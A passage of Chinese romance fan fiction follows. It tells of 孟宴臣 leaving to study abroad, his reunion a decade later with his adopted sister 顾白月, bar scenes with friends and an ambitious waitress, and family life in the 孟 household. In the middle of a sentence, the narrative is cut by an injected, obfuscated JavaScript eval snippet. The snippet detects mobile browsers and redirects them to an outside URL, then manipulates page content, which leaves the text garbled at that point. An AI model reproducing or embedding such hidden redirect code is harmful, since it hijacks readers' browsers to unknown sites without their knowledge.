许沁从隔壁走出来,表情讥讽地说:“没人会喜欢莫名其妙多一个妹妹,那天在医院里我哥有多抵触,你难道看不出来吗?拜托你有点自知之明吧。” 顾白月很镇定:“你不用挑拨离间,我相信宴臣哥哥。”这世上谁都可以怀疑孟宴臣对她的维护,唯独顾白月不可以。 “你懂什么。”许沁轻蔑一笑,“多一个养女就多一个人分家产,谁会嫌钱多烧手,像孟家这样的庞然大物,就算是施舍给你一个百分点的遗产,也够你用一辈子了。” “许沁。”顾白月不喜欢许沁的态度,她感到一种尖锐的针对,略带警告地说道:“叔叔阿姨身体健朗,你不该这么说话。” 许沁不置可否。 …… 出国留学的事终于敲定下来,有这么多年的辛苦学习积累,孟宴臣很顺利地拿下了三家顶级名校的入学通知书。 离别总是哀愁的,孟宴臣不知该怎么同顾白月解释,他迟迟开不了口。 然而,付闻樱女士可从不优柔寡断,她一手置办好留学所学物品,催促孟宴臣上车:“走吧,提前一周过去适应环境。” 孟宴臣艰涩开口:“让我去跟皎皎告别吧,妈妈。” 他安安静静地坐在车里,沉默着表达控诉,浑身上下洋溢着遮掩不住的怅惘。 付闻樱最终还是松口了,吩咐司机改道去了舞蹈团:“皎皎在参加演出,你有十分钟时间。” 是一场内部小型演出,下面的观众也不多,零零散散地坐着,但个个面露痴迷,神色惊艳,目不转睛地看着舞台中央,娉婷多姿,容色绮艳的女孩。 很奇异地,孟宴臣在这时候竟然微微笑了一下,为顾皎皎骄傲。 她本来就该这么发光,牢牢吸引众人目光,享受鲜花与掌声。 “怎么才来啊?”肖亦骁一心二用,远远看到孟宴臣就冲他招手,见孟宴臣游魂似地飘荡过来,还奇怪呢:“你怎么失魂落魄的?” 孟宴臣摇头:“没什么。” 今晚演出的节目叫《帝女花》,也是根据历史故事编排的,还未正式对外公演,讲的是明朝末年,崇祯帝的长女长平公主下嫁太仆之子周世显,本是珠联璧合,佳偶天成。 无奈世事无常,红颜薄命,清兵大举入关,明朝旦夕覆灭,崇祯帝煤山自缢,妃嫔公主相继殉 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孟宴臣告诉自己,能在离开之前再见皎皎跳一场舞,已经无憾。 他起身离开,脚步轻得连一片落花都未惊起。 呜呜咽咽的歌声持续传来,如丝如缕,不绝于耳,仿佛无孔不入,每一个音符都是不祥的征兆。 公主问:“我偷偷看,偷偷望,他带泪带泪暗悲伤。我半带惊惶,怕驸马惜鸾凤配,不甘殉爱伴我临泉壤。” 驸马答:“寸心盼望能同合葬,鸳鸯侣相偎傍,泉台上再设新房,地府阴司里再觅那平阳门巷。” 世人哀叹他们可怜,孟宴臣却想,能够与自己心爱之人生同衾死同穴,有什么好可怜的呢。 公主悲:“花烛夜,难为驸马饮砒·霜。” 驸马叹:“明朝驸马看新娘,夜半挑灯,有心作窥妆……” 鬼气森森,幽怨四逸。 歌曲接近尾声,舞蹈也到了终点,顾白月饰演的长平公主举杯饮尽毒酒,姿态决绝,瞬间毒发,宛如玉山倾倒,风流云散,委顿于层层叠叠的花瓣之上。 凄绝如此,百花为之失色。 …… 谢幕之后,顾白月一跃而起,妆容和服饰都来不及收拾,匆匆下台来寻人,“宴臣哥哥呢,我好几天没见到他了,怎么又走了?” 肖亦骁也正纳闷呢:“这小子跟个鬼似的,说来就来,说没就没。”他哥俩好地揽着顾白月肩膀,嘻嘻哈哈地笑道:“我有个主意,你让哥亲一口,老孟保准儿杀出来。” 然而顾白月却无心玩笑,心中沉甸甸的,像缺了一个大口子。 一架飞机从墨蓝色夜空中行过,宛若流星。 付闻樱指挥若定:“以后没事就不要回国了,逢年过节,爸爸妈妈会来看你。” 爸爸妈妈,没有妹妹。 孟宴臣凄然一笑,咬着舌尖,满嘴都是血腥味: “好。” 碧海翻波,明月依旧高悬于苍穹之上。 孟宴臣(二十三) 十年后,湾流酒吧,一群美女服务生嘻嘻哈哈地玩闹。 肖亦骁开着他那辆骚包的暗夜紫跑车来了,将钥匙扔给门童,一路行来,人人点头哈腰地问好: “骁哥来了。” “骁哥又换新车了?” “霸气啊,哥。” 自小肖亦骁就知道自己不是读书的料,好在父母开明,也没指望他改换门庭,后来勉勉强强混了一个本地高校的学历,大一的时候就拿着家里钱跟人瞎折腾。 折腾来折腾去,零零星星投资了一些产业,当初最纨绔最不被看好那个,反而成了最有钱的,当然只要不跟孟宴臣比,没人能将他脸皮扔地上。 肖亦骁问:“姑娘们聊什么呢,这么开心。” 一个嘴甜的姑娘搭话:“骁哥,这会儿没客人我们追剧呢,您放心不耽误干活。” 是最近热播的一部都市言情剧,内容一言难尽,男女主的演技也是肉眼可见的烂,剧情集狗血和恶俗于一体,基本上你能想到的梗,在这里面都能窥见端倪。 譬如现在,肖亦骁随意瞥一眼,就看到男主那位豪门妈妈,拿着一张支票,一脸高贵冷漠地说:“徐小姐,给你五百万,请你离开我儿子。” 女主角哭得梨花带雨,声嘶力竭:“不!您不能用金钱侮辱我和明昊,我们是真心相爱的!他是水,我是鱼,没有他我会死的,仁慈而伟大的您,请不要这么残忍……” 肖亦骁:“……操。” 什么恶心玩意儿。 架不住一群小姑娘爱看,还津津有味地讨论着,纷纷做梦幻想自己与霸道总裁一见钟情,二见倾心,上演一曲荡气回肠的凄美爱情故事。 不过,也有人保持清醒,一边擦桌子,一边说:“我要是女主角就拿了这钱,不要白不要。有了这五百万,努力做生意,整容塑体,出国留学进修自己,等时机成熟再杀回来,旧情复燃重修旧好,不就有了重回谈判桌的筹码了吗?” 肖亦骁喝酒的动作一顿,多看了那姑娘一眼,酒店里新招来的服务生,听说是附近大学的学生过来做兼职,长得白净清丽,个子高挑,瞧着有些冷冽,侧脸猛一看有点熟悉,但肖亦骁一时之间想不起她像谁。 再看她制服上夹着名牌,上面印有两个小字:叶子。 姑娘们聊得风生水起,兴致勃勃,有人好奇地问肖亦骁:“骁哥,豪门大户什么样,真跟电视上演得那样,动不动拿钱砸人?” 肖亦骁失笑:“那可不一样,像我这么俗气的没准真拿钱砸人。” 他为人随和喜欢玩笑,大家也不惧怕,反而半真半假地试探道:“我们要是跟骁哥这样的贵公子在一起,也能收到五百万分手费啊?” 那个叫叶子的女生也看了过来。 肖亦骁继续笑呵呵:“那就要看你们的手段了,不过别怪哥没提醒你们,小心踢到铁板,你们以为豪门贵妇就这点拿钱打发人的本事。” 叶子倔强地问:“还能怎样?” 这姑娘有点意思啊。 “给你们讲个故事吧。”肖亦骁眸光闪了闪,“我有一个朋友,他就是霸道总裁,又高又帅,满足你们一切美好想象的那种。十年前,在他还是个学生时也曾青春懵懂,偷偷喜欢上一个小小的灰姑娘。奈何灰姑娘家里一穷二白,唯一的亲人还去世了。霸总是真喜欢灰姑娘啊,喜欢得心剜出来给她都没二话。可惜这一切,都被霸总的妈妈知道了……” 叶子对这个话题很感兴趣:“霸总妈妈做了什么?她伤害那个灰姑娘了吗?” 肖亦骁笑:“伤害?那就落了下乘了。霸总妈妈既不打人也不骂人,笑吟吟地给灰姑娘送钱送礼物,寻名师找名校,费心费力将她培养成惊艳了整个上流社会圈的千金名媛……” 大家惊诧莫名,叶子:“这样灰姑娘就能配得上霸总了?” 肖亦骁喝了一口酒,不屑地直视叶子充满野望的眼睛:“天真!霸总妈妈资助灰姑娘的前提是收她为养女,有情人终成亲兄妹,还怎么在一起?” “啊?” 叶子不甘心:“霸总就这么同意了?他可以反抗啊。” 肖亦骁冷笑:“反抗?霸总那时候连十八岁生日都没过呢,手里没有任何股份,拿什么反抗。更何况,灰姑娘的身边围着一群等待吸血食肉的野狗,霸总如果不同意灰姑娘做自己妹妹,不能顶着自己家族名头行事,她就会因为失去庇护,被人生吞活剥。” 姑娘们沉默了,豪门贵妇果然高明啊。 “那霸总岂不是很难受。” “难受?直接丢了半条命好嘛。” …… 接到肖亦骁的电话时,孟宴臣刚刚看完一份财务报表,他淡淡道:“不了,你们玩吧。” 肖亦骁不死心:“别啊,你都多长时间没出来放松一下了,再说今天韩廷又司他们几个都在呢,给个面子。” 孟宴臣依然兴致缺缺。 肖亦骁咬牙抛下最大的诱饵,“来吧,有事跟你说……关于皎皎的。” 孟宴臣驱车来到酒吧时已经八点多了,正是客流量高峰期,乌泱泱的人汇聚在舞台附近劲歌嗨舞,玩得不亦乐乎。孟宴臣眼神淡泊,视而不见,对别人的搭讪一律回绝。 来到包间,孟宴臣径直去到靠近窗户的地方,他穿着纯黑色手工定制西装,深灰色衬衣上规规整整地系着领带,处处一板一眼,分明是在如此颓靡享乐的场所,孟宴臣却清冷克制得如同一位离尘索居的修士,有种格格不入的美感。 他进来时,肖亦骁正跟韩廷几个玩游戏,一局还未结束,就示意孟宴臣等一会儿。 孟宴臣不置可否,他闲闲地坐在单人沙发上,漫不经心地擎着一个玻璃杯,修长柔韧的手骨节分明,凸出黛青色血管,映衬着金丝眼镜森森冷光,是最好的丹青妙手也绘不出来的画。 服务生过来送果盘,在孟宴臣面前放下一碟哈密瓜,偶然瞧见他沉郁淡漠的脸,一瞬间心神失守,愣愣地抓着托盘。 “等急了吧。” 肖亦骁大步走过来,有些奇怪地看向愣头愣脑的服务生,“再拿一瓶酒过来。” 这服务生正是叶子,肖亦骁敏锐 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“她的眉眼有点像皎皎。” 肖亦骁瞬间满脸通红,尴尬不已,下意识想要辩解,偏偏又有一种被人彻底看穿,无所遁形的羞窘,让他一度怀疑自己今天出门的时候忘穿底裤了。 “你什么时候看出来的?” 孟宴臣无意为难朋友,很贴心地移开视线:“很明显不是吗?你上一位女友鼻子像皎皎,上上一位是脸型,再上一次是背影……” “好吧。” 既然已经被识破,肖亦骁干脆不装了,他倒也坦然:“我这不是看皎皎长得好看,跟她沾点边儿的都算美女吗?省得我再制定一整套的选拔女友标准了,不过……” 他拍拍孟宴臣的肩,意有所指:“反正你现在跟皎皎也不可能了,总不能一辈子这么单着,要不要我把我前女友们的照片给你,你挑一挑,选个最像的做替身。” 大约是觉得肖亦骁这话说得可笑,孟宴臣竟然嘴角轻扬,微不可见地笑了起来,那笑是朦胧虚幻不达眼底的,他望向墙上的蝴蝶图案,声音清冷缥缈,如同浮在云端: “你知道吗?飞蛾和蝴蝶是两种相似的昆虫,但我一眼就能分辨出来,从未混淆。” 爱是独一无二,是绝不将就,皎皎就是皎皎,哪怕是一千个一万个美丽姑娘,也不能代替,更无法抹灭她在孟宴臣心脏上留下的滚烫印记。 否则,那便是羞辱皎皎,也是在羞辱他孟宴臣。 “你眼神真好,我就不行了……”肖亦骁用指尖蹭了蹭眼尾,抹去一点水渍,“我他妈高度近视,还散光。”早年打游戏太上瘾。 孟宴臣:“……” 肖亦骁:“言归正传,叫你来是想跟你说一个好消息,保你听完之后能睡个好觉。” “什么?” “皎皎要回来了。” 有子弹上膛,在心底轰然炸响,留下一地狼藉。 孟宴臣(二十四) 肖亦骁爱喝酒,但他酒品不好,一喝醉就鬼哭狼嚎,整间酒吧都回荡着他撕心裂肺的吼叫,活似人间炼狱。 当事人毫无所觉,抱着孟宴臣肩膀涕泗横流:“牛郎,我对不起你啊!小喜鹊不是故意的,你原谅小喜鹊吧,牛郎!牛郎!” 饶是孟宴臣雅量海涵,也不禁气得额头青筋直跳,“你非要在这里喊我牛郎?” 旁边一群损友拍桌大笑。 孟宴臣肩宽腿长,气度修修如竹,身形亭亭似柏,又要一股神秘的忧郁色彩,方才甫一迈进酒吧,就吸引了绝大多数人目光。这会儿听到肖亦骁喊他“牛郎”,不禁心生误会,几个身家丰厚的大姐已经摩拳擦掌,蠢蠢欲动了。 韩廷调侃:“要不要给你安排俩保镖,我怕你半路被人劫色,皎皎哭死。” “……不必。” 孟宴臣只是浅酌,并未喝太多酒,从湾流包间走出来时却有些脚步不稳,许是酒不醉人人自醉。 一名女服务生伸手搀扶,孟宴臣避开了,淡淡道:“谢谢。” 差一点就触碰到了。 叶子失落地看着他走远,这是第三次了,自己分明站在孟宴臣面前,他的眼眸始终淡泊如水,从不曾倒映出她的影子。 “看什么呢。”韩廷扶着烂醉如泥的肖亦骁,他看清女孩眼中的不甘,了然一笑:“喜欢孟总?” 叶子抿唇微笑,做出腼腆含羞模样,却遮掩不住眼底勃勃野心。 其实不仅仅是她,湾流酒吧里的调酒师服务生迎宾员,清一水儿的帅哥美女,日日出入名利场,见惯风花雪月,纸醉金迷,谁不想凭借年轻漂亮打一场翻身仗。 这里面起码有一半人将目光放在孟宴身上。 资历深的服务生看不惯叶子扭扭捏捏,悄悄翻了一个白眼,装什么清纯小百花,大家谁不知道谁啊,想过豪门阔太太的生活就公平竞争呗。 她一屁股将叶子挤开,坦坦荡荡地问:“韩少,孟总喜欢什么样的女孩?你给说一说嘛,就算我们没那个命进孟家,跟孟总谈一场恋爱也不亏啊。” 韩廷脾气好,语气温和地提醒:“那恐怕晚了,你们孟总他心里早就有人了。” 叶子一惊:“是谁?”话语脱口而出,才意识到自己表现得太过急切,露了行迹,于是尽心描补:“我的意思是孟总那么优秀,什么人能配得上他?” 韩廷笑意有所收敛:“配不配得上不是你说了算的。”想到那个年少惊艳,近些年越来越美貌的女孩,意有所指地感叹: “他喜欢的人是一个美好纯净似月光一样的女孩,孟宴臣他啊,可真是一个贪心的家伙,从年少起就一心想要拥明月入怀……” 美好纯净似月光? 叶子不相信世上有这么完美的人,她还想再问几句,一起来做服务生的同学好心将叶子拉开,“算了吧叶子,我们跟孟总压根不是一个世界的人,说句不好听的,离开湾流咱们连孟总的面都见不到啊。” “不。” 叶子低喃:“我知道在哪里能见到他……” …… 熬到深夜,终于下班了,叶子扫了一辆共享单车,风风火火地赶往老城区,在半荒废的公园一角,隔着萧萧纷乱的花木,找到了那抹熟悉的身影。 果然在这里。 叶子有一点点得意,为这个她知道而别人不知道的小秘密,仿佛她同孟总之间也没有那么遥远了,单方面开始建立亲昵关系。 其实叶子能够发现孟宴臣这不为人知的一面,还是源于一次巧合。 有一天,叶子来这附近做家教,回去时天空忽然下雨,她将书包顶在头上,同雨中的其他人一样浑身湿淋淋黏腻腻,急匆匆往家里跑。 路过荒凉的公园时,叶子的脚步戛然而止,她看到了让人十分惊异的一幕。 几个在此玩闹的孩子结伴离开,一个西装革履,儒雅清冷的青年,缓缓从树底下走出来,浑然无视冷冷雨丝,径直走到秋千边,默然坐了下来。 叶子从来没有见过这么好看又这么奇怪的男人,五官并非传统意义上浓眉大眼阳光端正的帅气,组合在一起却有种特殊味道,蕴藏着致命吸引力。 他就那样穿着价值不菲,剪裁精致的正装,每一片衣角都熨帖平整,连一丝儿多余的褶皱都没有,衬衣板板正正,领带规规矩矩地伏在喉结下面。 这样一个严谨禁欲的人,竟然在濛濛雨雾中,在荒无人烟的树荫边,安安静静地坐在一架简陋的秋千上,半垂着眸子,不知在想什么。 叶子莫名想要发笑,又觉得他有些可怜。 这是她第一次见到孟宴臣。 后来不久,叶子去做代驾挣零花钱,好巧不巧抢到了孟宴臣的单子。浓浓夜幕中,叶子一眼就认出了他,可惜孟宴臣平平淡淡地坐在副驾处,全程闭目养神,除了礼貌性地道谢,一言不发。 同学们经常夸叶子漂亮,孟宴臣却从未认真瞧她一眼。 …… 这是一片发展滞后的老城区,周边基础设施逐渐染上岁月痕迹,锈迹斑驳,国坤集团在这附近并没有产业。 但孟宴臣经常来这里,因为公园对面就是顾白月居住过的梧桐小区,依稀留有故人痕迹。 当年季如兰重病缠身,自知命不久矣,却坚决不同意顾白月卖房子折现。一是早些年倾家荡产救治顾应军,最后人财两空,给了季如兰前车之鉴。二来,季如兰也怕自己走后,顾白月在孟家寄人篱下,万一受了委屈想家,连个放肆大哭的地方都没有,只要老房子还在,多少是个退路。 种种考虑之下,老房子成功保留下来,顾白月偶尔会回来住一两天,孟怀瑾和付闻樱都知道。 今天晚上,肖亦骁说了那么多话,孟宴臣只记得一句,他说: “皎皎要回来了。” 说来可笑,孟家收养皎皎,为皎皎改了名字,他与顾白月成了法律上的兄妹,两人反倒不似以前那般亲密无间。 先是他出国留学,废寝忘食,终于取得金融和管理方面的硕士双学位,在国外一待就是几年,逢年过节也不曾回来,最多打一下视频电话。 后来皎皎考上了京大艺术学院,前两年在外地读书,大三出国做了一年交换生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9435405|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好不容易到了大四课程少了一些,又跟着姚见萍的舞蹈团巡演参赛,积累舞台经验。 兜兜转转,聚少离多,这么些年下来,两人能够清清静静坐下来说话的机会,屈指可数。 好在孟宴臣早就习惯了忍受寂寞,每当夜深人静,思之如狂,不可自抑的时候,他就会来这里坐一坐,瞧一瞧月亮,平复震耳欲聋的思念之声,然后坦然地回去等待黎明。 孟宴臣原本只是被肖亦骁的话触动愁思,并未心存奢念,但他没想到,竟然能在这里守到一份意外之喜。 “皎皎,我们到了,快醒一醒。” 顾白月裹着棕熊毯子,睡眼惺忪地醒来,往车外一看,确实回到梧桐小区了,她软乎乎地跟助理花姐道谢。 “这什么小区,也太破了吧?”花姐快人快语,下来之后先嫌弃了一通,一边帮顾白月拿旅行包,一边问:“真不用我把你送回孟家?” 顾白月摇头:“不了,深更半夜的,别打扰大家睡觉。”她有时跟着舞蹈团去外地演出,若是赶上夜里回来,就会一个人回梧桐小区住,第二天再回孟家。 总不好闹得一家人出来迎她。 “行吧。”花姐让司机等一会儿,不顾顾白月的推辞,坚持要提着东西送她上楼,“不看着你平平安安到家我不放心,小孟先生那里我也不好交代的,你不知道,他跟我说注意事项时严肃的不得了……” 顾白月笑弯了眸子,“哎呀,他故意吓你的,其实哥哥心可软了……” 花姐咕哝一句:“那是在你面前。” 演出结束后顾白月就卸了妆,一路上都在补觉,只喷了点保湿水,纯粹的素颜朝天,一张巴掌大的鹅蛋脸莹润通透,肌肤吹弹可破,在月光下莹白似玉。 花姐近距离照顾她那么久了,冷不丁见了都五迷三道的,搞怪地说道:“我算是知道孟太太为什么不许你随意对别人笑了,你再笑我会犯罪的,皎皎。” “你又在逗我……”顾白月不以为意,“对了花姐,我上次拜托你打听的事怎么样了?” 花姐:“有点眉目了,你等我明天确认之后,再慢慢跟你说。唉,我是真搞不懂,你可是孟家千金大小姐嗳,那还不是要风得风,要雨得雨,怎么能为了区区五斗米折腰?再说了孟家人肯定舍不得……” 顾白月不以为忤,也不回避问题,坦坦荡荡地跟她说:“因为我并不是孟家亲生女儿,只是养女啊。” 电梯到了五楼,顾白月用钥匙开门,今天太晚,花姐和司机又都急着回家,顾白月没有留客,在阳台注视保姆车缓缓起步,洗漱过后换上睡衣,正要拉窗帘睡觉,视线冷不丁捕捉到对面公园一抹模糊身影。 即便那身影轮廓模糊,仿若被晕染开的水墨画,顾白月还是一眼认了出来。 她来不及多想,踩着拖鞋飞速下楼,衣摆在暗夜中开出绚丽的花,奔赴一个非常思念的人。 然而,顾白月到底慢了一步,等她来到楼下时,公园里已经人去楼空,只留一架秋千在风中慢慢摆动,发出吱哑吱哑的叫声。 像一下又一下沉重的叹息。 孟宴臣(二十五) 一场会议结束,孟宴臣疲惫地揉了揉太阳穴,昨天夜里遇到皎皎,本是意外之喜,他并没有急着上前相见,能远远看一眼已经不胜欢喜。 久别重逢,孟宴臣不想让皎皎看到自己满身酒气,憔悴落拓。 手机接收到母亲付闻樱女士发来的消息:今天晚上回家一趟。 孟宴臣看到了,却不急于回复。 他合上开发部提交的报告,闭目仰靠在椅背上,青竹白玉般的手指落在桌面,轻轻敲击着,默数着,等待着。 一下。 两下。 三下…… 意料之中的,手机铃声响起,孟宴臣看都不需要看,直接拿起点开,对面传来女孩子甜甜软软的嗓音: “哥哥。” 顾白月握着手机,耳边是一阵轻轻浅浅的呼吸,还有一道清朗悦耳的男声,在默然片刻后,“我在。” “妈妈让你回家一趟,有事跟你说。”顾白月咬着唇,缓缓道。 十年前,生母季如兰病逝前,将孤立无援的顾白月托付给孟家,顾白月成了孟怀瑾和付闻樱的第二位养女。 起初顾白月不愿称他们为父母,但季如兰临终前坚持让顾白月改口,顾白月不愿违拗母亲遗愿,别别扭扭地喊了爸爸妈妈,后来衣食住行都要人家供养,也就没了矫情的权利。 一年年相处下来,孟家在顾白月身上投入大量财力物力,顾白月实在感激,也确实有心拿他们当父母孝敬,这才慢慢叫顺了口。 几年前孟宴臣留学归来,正式入职国坤集团后,见顾白月人在外地,就以工作便利为由,搬到公司附近住了,轻易不会主动回家。 或许成年人都是需要自由的,就像许沁,为了所谓的自由自在,不受拘束的生活,将孟家人的脸皮扔在地上踩,在高中时期就差点闹出未婚先孕的丑事…… 话题越绕越远。 顾白月止住思绪,想办法替孟宴臣周旋:“哥,你要是不想回来,我等会就告诉妈妈你要加班。” “不用。” 国坤集团现在还处于孟怀瑾和付闻樱的掌控之中,作为高层领导,孟宴臣的动向不可能瞒过父母,顾白月这么说很轻易就会被拆穿。 他抬手看了一下腕表:“我二十分钟后到家。” 说到做到,二十分钟后,孟宴臣的车停在自家院门口,管家出来迎接,笑着说:“皎皎小姐今天上午回来的,带了好些礼物,专门给您备了两份呢,大少爷快去瞧瞧吧。” 孟宴臣嘴上说:“我不需要。”脚步不由自主地加快。 家里前两年大规模翻修了一次,所有软装硬装全面换新,风格是典雅的新中式,处处精致清丽,古色古香。 一进门就看到付闻樱端着半透明茶杯,姿态矜贵地坐在沙发上,目光望向对面,嘴里不时点评几句。 顾白月穿着一袭汉服元素长裙,由一种名叫“照夜白”的月华色香云纱制成,长发一半松松垂散,一半挽成发髻,斜斜插了一支木簪。 非常居家的随性装扮,薄施粉黛,宛若出水芙蓉,像绢纱团扇上妙笔画成的瑶池仙娥。 盛产于广东的香云纱,又名“软黄金”,素来号称一寸云纱一寸金,其质地软滑柔韧,如烟如雾。 这样考究的衣料,经巧手裁缝做成仿古衣裙,堪称天衣无缝,只是无论在身形还是肤色方面,都极为挑人,但显然顾白月都完美抗住了考验,甚至将香云纱的美展现得淋漓尽致,腰肢袅袅,渺渺不似凡间人。 桌上摆着一支粉白瓷瓶,错落有致地插着几支玫瑰康乃馨,以及星辰花和孔雀花苔草之类的,一瓶观赏性极强的插花已初具雏形。 付闻樱颔首:“把左边那支玫瑰抽掉,留一支就行了,苔草不够,再加一些,唔,低一点……” 原来是付闻樱在查验顾白月的插花技艺。 孟宴臣走进来时,顾白月先看到了,忍不住欢快地上前喊道:“哥,好久不见,你,你还好吗?”手里擎着一支雪白的山茶花忘记放下,难得显露一点小女孩的俏皮。 孟宴臣深深凝望她,眼底有朦胧潮湿的薄薄雾气: 如果我们再相见,事隔经年。 我将何以贺你? 以眼泪,以沉默…… 付闻樱看了过来:“妈妈以为你今天不回来了。” 孟宴臣最后望了一眼身姿亭亭的女孩,克制地垂下眼帘,仿佛开玩笑般:“您扣了人质在家,我怎么敢不听话。” “这是什么话?”付闻樱有些不高兴,这些年儿子跟关系有些冷淡,她觉察出来了,却一直不知怎么缓解。 孟宴臣不再多说,因为顾白月悄悄扯了一下他的衣袖。 晚饭过后,孟怀瑾和孟宴臣去书房说话,父子二人关起门来,谈论着国坤集团的新项目。 “上次的策划案是怎么回事?为什么对手公司会知道我们内部动向……” 孟怀瑾将几分文件扔在孟宴臣面前,“看看吧,东区那边产业园部分销售方案,跟我们的销售计划如出一辙。” 早在对手公司进行预售时,孟宴臣就发现了纰漏,也早已尽力挽救,他悉数说明:“有人恶意泄露商业机密,我一个星期前就着手调整了。” “进展如何,掌握了多少证据?” “全部查清楚了,证据也已提交给警方。” 孟怀瑾勉强点点头,听了孟宴臣的补救方案,沉吟道:“你这次虽然做得不错,但到底是让人牵着鼻子走,太过被动。爸爸早就告诉过你,商业厮杀不仅仅是经济掠夺,更多的是人性博弈。” 他分析利弊,循循善诱,最后总结陈词:“以后新人进公司,务必调查清楚,身家清白,更要防着老人生变。你啊还是太年轻,要记得商场上没有永远的朋友……” 孟宴臣低头,听着来自父亲的训导:“是。” 付闻樱和孟怀瑾习惯了吹毛求疵,孟宴臣也习惯了被否定被质疑,哪怕以他现在的年纪,能够取得今天这番成就,已经将同龄人远远抛在身后了。 没人觉得这种打压有什么不对,包括孟宴臣自己。 可是顾白月没有无视这一切。 父母就天然对子女拥有绝对的掌控权吗?小孩子就应该是奴隶的代名词吗? 不。 书房的门已经关闭将近一个小时了,顾白月在走廊徘徊了一会儿,最终还是敲响了房门。 孟怀瑾止住话头:“进来。” 顾白月用托盘端着一壶泡好的茶和两碟糕点进来,安静浅笑:“爸爸,医生说您脊椎不好,不能久坐,您忘了?” 顾 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从她走进书房开始,孟宴臣的视线就全胶在顾白月身上,闻言抿出一点笑:“好。” 谁知顾白月却瞧着他发怔,“哥,你这几年瘦了好多。” 孟宴臣怕她难受:“瘦了不好吗?他们都说我瘦些好看,更符合一个精明强干,杀伐决断的霸道总裁形象。” 顾白月摇头:“我不要你好看,要健康,这么瘦抵抗力会下降的,容易生病,而且你是不是睡眠质量不好?” “怎么了?” “眼睛下面有黑眼圈。” 金丝眼镜下的眸色闪过一片光,孟宴臣不以为意:“生意人哪有不熬夜的,忙完这一段就好了。” 顾白月不依不饶:“不止是这一段吧?哥,你跟我说实话,你是从什么时候开始失眠的,严重不严重?” 孟宴臣了然:“肖亦骁跟你说什么了吗?” 两人絮絮低语,态度熟稔自然,好像那十多年的分离,山一程水一程的阻隔,全都不复存在。 楼下花园里,付闻樱抬头瞧了一眼书房灯火,“是宴臣和皎皎在说话?”这怎么能行,好不容易将两人分开那么久,可别前功尽弃。 孟怀瑾拦下妻子的脚步:“是,——你总要给儿子一点喘息之机,别逼得太紧了,会适得其反。” 为了转移妻子注意力,他忽然道:“有一件事我想听听你的意见,沁沁要回来了。” 付闻樱表情难看:“当初她非要跟一个小混混搞在一起,为了他几次三番顶撞父母,还私自修改志愿,闹得人尽皆知,现在亲朋故友还没淡忘,她回来干什么?” 孟怀瑾念着战友之间的情谊,宽解道:“孩子年幼不懂事,你这个当妈的总要再给她一次机会吧。” 付闻樱沉默,却未出声反驳。 这天晚上,孟宴臣留在老宅住,一推开房门就看到书桌上放着一瓶插花,淡雅疏落,轻轻一嗅,清香扑鼻。 栀子,茉莉,白山茶,全都是舒心解郁,有助睡眠的花。 孟宴臣没有开灯,在一室黯淡光影中,轻轻笑了: 没关系,都没关系。 是兄妹……也好。 只要她还在我身边,还能见到,一切无所谓了…… 孟宴臣(二十六) 一家四口在沉香木餐桌边用完早饭,孟怀瑾和孟宴臣父子俩去上班,付闻樱带顾白月去购物,分工明确。 豪门世家买东西,主打的就是一个随心所欲,驱车直奔黄金街区大型商场专卖店。 付闻樱走路带风,透着些女强人的雷厉风行,一进店就被几个金牌销售围着,殷勤地介绍当季新款。 两人在沙发上坐定,店长亲自端来茶水和点心,全程细心招待:“晓得孟太太您不爱喝咖啡,这是新收的雨前龙井。”很会投其所好。 想来付闻樱是这家高奢店的常客。 付闻樱看向顾白月:“这是我家老三,刚忙完工作从外地回来,你们给她搭配几身衣服。” 店长表情特真挚,语气特热忱地说道:“哎呀,这位就是大名鼎鼎的孟三小姐吧,怪不得都说三小姐肤白貌美盛世美颜,瞧瞧这皮肤这脸蛋,还有这身材,真是天生的衣服架子,您啊肯定披个麻袋都好看!” 热情得让人招架不住。 顾白月心说钱果然是个好东西,有钱有地位的话,往这里一坐都有人上赶着巴结你,生生把人哄得眉开眼笑。 挑选衣服的过程也处处讲究,顾白月什么都不用做,只需要跟随付闻樱安安静静坐着,一群年轻靓丽的销售小姐姐换上店里新品衣物,挨个走过来展示,行动间是十分标准的模特姿势。 仿佛这里不是商店,而是灯光璀璨的T台。 哪有年轻女孩不喜欢漂亮衣服的?顾白月瞧了一会儿,眼睛亮晶晶的,付闻樱一边喝茶,一边觑她神情变化,遇到顾白月喜欢的就点头示意包起来。 买了十几套衣服,接下来是搭配衣服的包包、鞋子,还有零零碎碎的一些小配饰。 顾白月不想让付闻樱多破费,见差不多了,就抱着付闻樱胳膊撒娇:“好了妈妈,这也太多了,我都穿不完了。” 这些年儿子孟宴臣大多时间都在外国留学,回国之后也跟她心生隔阂,不再亲厚。另一个养女许沁,高三那年闹出丑事,孟家好不容易才捂了下来,仓促将人打发出国,付闻樱心底生了一些不喜。 算来算去,在付闻樱和孟怀瑾身边待得最多,常常陪着他们夫妻二人的,就只有皎皎这个养女了,皎皎又生得格外漂亮乖巧,穿什么都水灵灵的讨喜。 久而久之的,付闻樱竟然喜欢上给顾白月买衣服,精心打扮她的感觉了。 顾白月觉得,养母付闻樱大概是在玩一种很新的变装游戏。 听顾白月说够了,付闻樱:“这才多少,一个衣柜都装不满,我出来前你爸爸专门给了一张卡,给你置办衣物。” 到底还是又买了一些。 付闻樱买了个痛快,签完账单后,带着顾白月起身就走,身后一群人齐刷刷弯腰恭送,稍后会有专人将东西送到孟家宅院。 购物使人快乐,要不说包治百病呢。 顾白月脚步轻快地跟在付闻樱身后,黏黏糊糊地说:“谢谢妈妈,我的演出费下来了,请妈妈吃饭吧。” 付闻樱失笑:“你那一点可怜的辛苦钱,自己留着吧,妈妈怕把皎皎吃垮了。” 顾白月大手一挥:“嗨,没了我再挣呗。”她在手机上浏览,选了一家好评颇多,开业不久的中档餐厅,兴致勃勃地拉着付闻樱去吃:“偶尔也要尝试一下新鲜事物嘛。” 期间孟宴臣打来电话询问,顾白月背着付闻樱接了,躲在模特假人后面小小声地说:“哥,你上班摸鱼,妈妈知道了要骂人的。” 